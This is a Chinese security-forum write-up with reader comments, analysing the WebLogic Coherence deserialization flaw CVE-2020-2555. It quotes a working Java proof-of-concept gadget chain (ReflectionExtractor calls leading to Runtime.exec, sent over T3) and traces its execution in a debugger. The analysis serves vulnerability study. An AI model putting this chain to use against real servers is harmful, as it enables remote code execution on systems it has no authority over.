用户
搜索
  • TA的每日心情
    开心
    2020-9-9 08:14
  • 签到天数: 13 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    19

    帖子

    319

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2020-8-19 21:02:35 97792
    本帖最后由 精通linux开关机 于 2020-8-19 22:32 编辑

    相关借阅:

    https://github.com/Y4er/CVE-2020-2555  Y4er/CVE-2020-2555

    http://www.51gjie.com/java/796.html  Java Method类

    https://lucifaer.com/       反序列化漏洞分析(CVE-2020-2555)

    一、漏洞简述

    今年3月6日Weblogic公开了该洞。漏洞出现在coherence.jar,存在能够反序列化gadget构造的类, 经T3协议接收的数据,反序列化处理后导致漏洞,是一个绕过T3黑名单过滤的新途径。
    受影响版本:
    Oracle Coherence 3.7.1.17
    Oracle Coherence 12.1.3.0.0
    Oracle Coherence 12.2.1.3.0.0
    Oracle Coherence 12.2.1.4.0.0

    二、本文目标

    1.学习T3协议、java反序列化在网络传输时流量特征;
    2.理解漏洞形成的原因Gadget,学习poc构造技巧;
    3.为下一步利用该洞做回显做准备;

    三、调试分析

    POC: https://github.com/Y4er/CVE-2020-2555
    JDK:1.8.131
    IDEA:2019.3.3
    Weblogic:12.2.1.3.0.0

    运行weblogic_t3.py通过t3协议发送序列化的payload

    POC去除无关行后约30行,如下:               

    String cmd = "calc";
    //定义多次转换链进行反射调用
    ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{
                    "getRuntime", new Class[0]
            }),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
    };
    
    //初始化LimitFiler类实例
    LimitFilter limitFilter = new LimitFilter();
    limitFilter.setTopAnchor(Runtime.class);
    BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);
    
    //将limitFilter放入BadAttributeValueExpException的val属性中
    Field val = expException.getClass().getDeclaredField("val");
    val.setAccessible(true);
    val.set(expException, limitFilter);
    
    //生成序列化payload
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(null);
    objectOutputStream.writeObject(expException);
    objectOutputStream.close();

    3.1 关于T3协议部分

    kali-python

    kali-python
    发包后,用wireshark抓包,发送的第一个包为T3协议头,T3协议头为t3 12.2.1\nAS:255\nHL:19”,第一行为"t3"加weblogic客户端的版本号。

    wireshark-stream

    wireshark-stream

    weblogic服务器的返回数据为"HELO:12.2.1.3.false\nAS:2048\nHL:19",
    第一行为“HELO:”加weblogic服务器的版本号。weblogic客户端与服务器发送的数据均以“\n\n”结尾。

    wireshark-t3-head

    wireshark-t3-head

    weblogic_t3.py向weblogic发送了T3协议头的数据包,然后读取序列化数据进行发送。
    在数据中查找JAVA序列化魔术头部ac ed 00 05 可以发现出现多处,观察到T3协议使用jre的原生ObjectOutputStream。

    idea-serializables

    idea-serializables

    exp被切割为多段传输,以fe 01 00 00 隔开。

    wireshark-split

    wireshark-split

    3.2 T3协议反序列化执行

    将断点设在T3入口,InboundMsgAbbrev#readObject();
    第47行ServerChannelInputStream(其父类为ObjectInputStream)的构造方法,将MsgAbbrevInputStream的in实例转为ObjectInputStream类型;

    idea-t3in

    idea-t3in
    上图第47行末尾是关键,调用ObjectInputStream#readObject(),来到80行,super(in)将执行Object类初始化。

    idea-t3super

    idea-t3super

    至此,成功进入jre原生反序列化ObjectInputStream.readObject()。接下来将进入BadAttributeValueExpException#readObject(),(恶意变量被取出,结合POC第25行理解)。在ysoserial的CommonsCollections5的gadget最外层的入口即为该类,因为security manager为null的情况下(下图第78行)将进入if分支,调用LimitFilter #tostring()。

    idea-t3Bad

    idea-t3Bad

    3.3 coherence.jar反序列化执行

    恶意数据传入weblogic代码部分,coherence.jar!com/tangosol/util/filter/LimitFilter类。
    注意力集中 coherence.jar!com/tangosol/util/filter/LimitFilter #tostring。
    那么接下来将获取到该类的m_comparator成员属性(恶意变量被取出,结合POC第17行理解),并调用其extract函数,因为limitfilter实例由我们poc中提供,因此this.m_oAnchorTop可控(恶意变量被取出,结合POC第20行理解)。

    idea-jarLimit

    idea-jarLimit
    chained从字面意思上来理解就是其肯定存在一个为数组类型的成员属性保存一组Extractor来依次调用其extract函数,并将调用结果返回(注意理解第34行oTarget迭代)。

    idea-jarChainedExtractor

    idea-jarChainedExtractor
    那么在poc中chainedExtractor中存放的为coherence.jar中的com/tangosol/util/extractor/ReflectionExtractor类的实例,其extract函数中也正是实现了任意方法的调用,注意到59行传入2个参数(第一个参数是方法属于的对象,第二个可变参数是该方法的参数),其中方法名this.m_sMethod和对应的参数值this.m_aoParam都是可控的(恶意变量被取出,结合POC第4-8行理解)。

    idea-jarReflectionExtractor

    idea-jarReflectionExtractor

    invoke表示,调用包装在当前Method对象中的方法。

    idea-jarReflectionExtractor2

    idea-jarReflectionExtractor2

    第一回,反射调用Runtime类getmethod方法(结合POC第20行理解),返回值为 Method类型的getruntime方法(见上图第59行)

    第二回,我们希望反射调用invoke函数,getruntime方法已准备好,故可执行invoke得到Runtime类的实例,这就是为什么构造this.m_sMethod=invoke(即为poc第7行invoke)。

    idea-jarInvoke2

    idea-jarInvoke2 第三回,经过前面2次积累,有了Runtime实例,因此可调用exec方法执行命令。构造this.m_sMethod=exec(即为poc第8行exec),实验结束。

    idea-jarInvoke3

    idea-jarInvoke3

    cmd-calc

    cmd-calc

    3.4 chainedExtractor链式调用反射

    ​                1.补充oTarget的3次变化(class->method->instance)

    word-oTarget

    word-oTarget
    ​                2.补充method变量的3次变化(class->method->instance)

    word-method

    word-method

    四、后续进展

    ​            通过T3发送恶意代码实现绑定实例,绑定后,攻击者与Weblogic交互不再通过T3,而是调用恶意RMI实例,那回显自然也可以做到,这一块等研究透了再发,不能误导兄弟们学习。

    评分

    参与人数 1魔法币 +5 收起 理由
    whoami2020 + 5 欢迎分享更深入的反序列化研究!.

    查看全部评分

    期待后续
    使用道具 举报 回复
    本帖最后由 精通linux开关机 于 2020-8-20 22:30 编辑

    源码在weblogic安装目录中拖出来反编译就有了
    使用道具 举报 回复
    很详细,带着好奇的我就跟着调了一下。看到T3协议反序列化执行,需要再花点时间。
    使用道具 举报 回复
    发表于 2020-8-21 08:04:07
    表哥厉害,坐等表哥发工具.
    使用道具 举报 回复
    发表于 2020-8-21 16:12:55
    表哥太强了
    使用道具 举报 回复
    发表于 2020-8-21 23:48:51
    民国三年等着一场雨,一生等待表哥一句我带你。
    使用道具 举报 回复
    发表于 2020-8-25 22:32:35
    带带吧
    使用道具 举报 回复
    春秋师傅们强,与师傅们共同学习。
    使用道具 举报 回复
    发表于 2020-8-28 10:31:59
    好文章,希望可以出一个如何调试的文章。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册